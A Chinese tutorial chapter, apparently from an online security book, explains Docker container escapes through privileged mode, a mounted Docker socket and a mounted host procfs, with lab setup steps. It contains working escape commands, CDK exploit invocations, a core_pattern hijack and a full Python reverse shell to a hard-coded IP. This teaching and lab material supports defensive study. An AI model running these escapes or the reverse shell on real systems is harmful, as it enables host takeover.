返回介绍

3 针对容器运行时的攻击

发布于 2024-09-13 00:02:18 字数 5543 浏览 0 评论 0 收藏 0

3.1 不安全配置导致的容器逃逸

Docker 已经将容器运行时的 Capabilities 黑名单机制改为如今的默认禁止所有 Capabilities,再以白名单方式赋予容器运行所需的最小权限。截止本文成稿时,Docker 默认赋予容器近 40 项权限中的 14 项:

func DefaultCapabilities() []string {
	return []string{
		"CAP_CHOWN",
		"CAP_DAC_OVERRIDE",
		"CAP_FSETID",
		"CAP_FOWNER",
		"CAP_MKNOD",
		"CAP_NET_RAW",
		"CAP_SETGID",
		"CAP_SETUID",
		"CAP_SETFCAP",
		"CAP_SETPCAP",
		"CAP_NET_BIND_SERVICE",
		"CAP_SYS_CHROOT",
		"CAP_KILL",
		"CAP_AUDIT_WRITE",
	}
}

无论是细粒度权限控制还是其他安全机制,用户都可以通过修改容器环境配置或在运行容器时指定参数来缩小或扩大约束。如果用户为不完全受控的容器提供了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。

3.1.1 privileged 特权模式运行容器

当操作者执行 docker run --privileged 时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

以特权模式和非特权模式创建了两个容器,其中特权容器内部可以看到宿主机上的设备:

攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去:

mkdir host
mount /dev/sda /host

3.2 危险挂载导致的容器逃逸

为了方便宿主机与虚拟机进行数据交换,虚拟化解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部 - 当受控容器存在不安全的挂载时,会造成严重的问题。

3.2.1 挂载 Docker Socket 的情况

Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信 - 查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件( /var/run/docker.sock ),容器逃逸就相当容易了,除非有进一步的权限限制。

复现过程:

  1. 首先创建一个容器并挂载 /var/run/docker.sock
  2. 在该容器内安装 Docker 命令行客户端;
  3. 接着使用该客户端通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部;
  4. 在新容器内执行 chroot 将根目录切换到挂载的宿主机根目录。
docker run -itd --name demo -v /var/run/docker.sock:/var/run/docker.sock ubuntu

利用 CDK 进行进行检查:

./cdk run docker-sock-check /var/run/docker.sock

命令执行(逃逸):

./cdk run docker-sock-pwn <sock_path> <shell_cmd>
./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"

3.2.2 挂载主机 procfs 的情况

procfs 是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时。

一般来说,我们不会将宿主机的 procfs 挂载到容器中。然而,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来。

procfs 中的 /proc/sys/kernel/core_pattern 负责配置进程崩溃时内存转储数据的导出方式。从手册中能获得关于内存转储的详细信息,关键信息如下:

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

因此,可以利用上述机制,在挂载了宿主机 procfs 的容器内实现逃逸。

环境搭建:

./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
./metarget cnv install mount-host-procfs

执行完成后,K8s 集群内 metarget 命令空间下将会创建一个名为 mount-host-procfs 的 pod。

宿主机的 procfs 在容器内部的挂载路径是 /host-proc

复现:

执行以下命令进入容器:

kubectl exec -it -n metarget mount-host-procfs /bin/bash

在容器中,首先拿到当前容器在宿主机上的绝对路径:

cat /proc/mounts | grep docker

workdir 可以得到基础路径,结合背景知识可知当前容器在宿主机上的 merged 目录绝对路径如下:

向容器内 /host-proc/sys/kernel/core_pattern 内写入以下内容:

echo -e "|/var/lib/docker/overlay2/c7c07b405792a4da3db07f22ae42a35ad00c8946362f0ebe7687bea79785add8/merged/tmp/.x.py \rcore           " > /host-proc/sys/kernel/core_pattern

然后在容器内创建一个反弹 shell 的 /tmp/.x.py

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "101.32.10.105"
lport = 9999
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

chmod +x /tmp/.x.py

最后,在容器内运行一个可以崩溃的程序即可,例如:

#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}

容器内若没有编译器,可以先在其他机器上编译好后放入容器中。

完成后,在其他机器上开启 shell 监听:

ncat -lvnp 9999

接着在容器内执行上述编译好的崩溃程序,即可获得反弹 shell。

利用 CDK 工具:

./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文